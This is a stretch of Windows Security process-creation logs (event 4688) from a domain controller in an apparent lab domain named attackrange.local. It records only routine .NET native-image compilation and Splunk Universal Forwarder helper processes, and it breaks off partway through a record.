TaskCategory=Process Creation
OpCode=Info
RecordNumber=255042
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x678
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6b8 -InterruptEvent 0 -NGENProcess 648 -Pipe 6a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255041
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 698 -InterruptEvent 0 -NGENProcess 6a8 -Pipe 5a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255055
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x450
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 67c -InterruptEvent 0 -NGENProcess 6bc -Pipe 708 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255054
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1278
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6a0 -InterruptEvent 0 -NGENProcess 5fc -Pipe 61c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255053
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11f8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6dc -InterruptEvent 0 -NGENProcess 6b4 -Pipe 69c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255052
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 69c -InterruptEvent 0 -NGENProcess 6dc -Pipe 6e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255051
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x128c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255050
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1158
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 67c -InterruptEvent 0 -NGENProcess 684 -Pipe 68c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255049
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 65c -InterruptEvent 0 -NGENProcess 6b0 -Pipe 6ec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255059
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x904
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255058
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x328
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6f4 -InterruptEvent 0 -NGENProcess 6ac -Pipe 6f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255057
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6b0 -InterruptEvent 0 -NGENProcess 5fc -Pipe 5ec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255056
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255062
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x100c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255061
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf3c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 710 -InterruptEvent 0 -NGENProcess 6b0 -Pipe 714 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255060
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd40
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 6d4 -InterruptEvent 0 -NGENProcess 648 -Pipe 6cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255068
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x678
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 700 -InterruptEvent 0 -NGENProcess 740 -Pipe 684 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255067
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 684 -InterruptEvent 0 -NGENProcess 700 -Pipe 6f4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255066
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1340
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
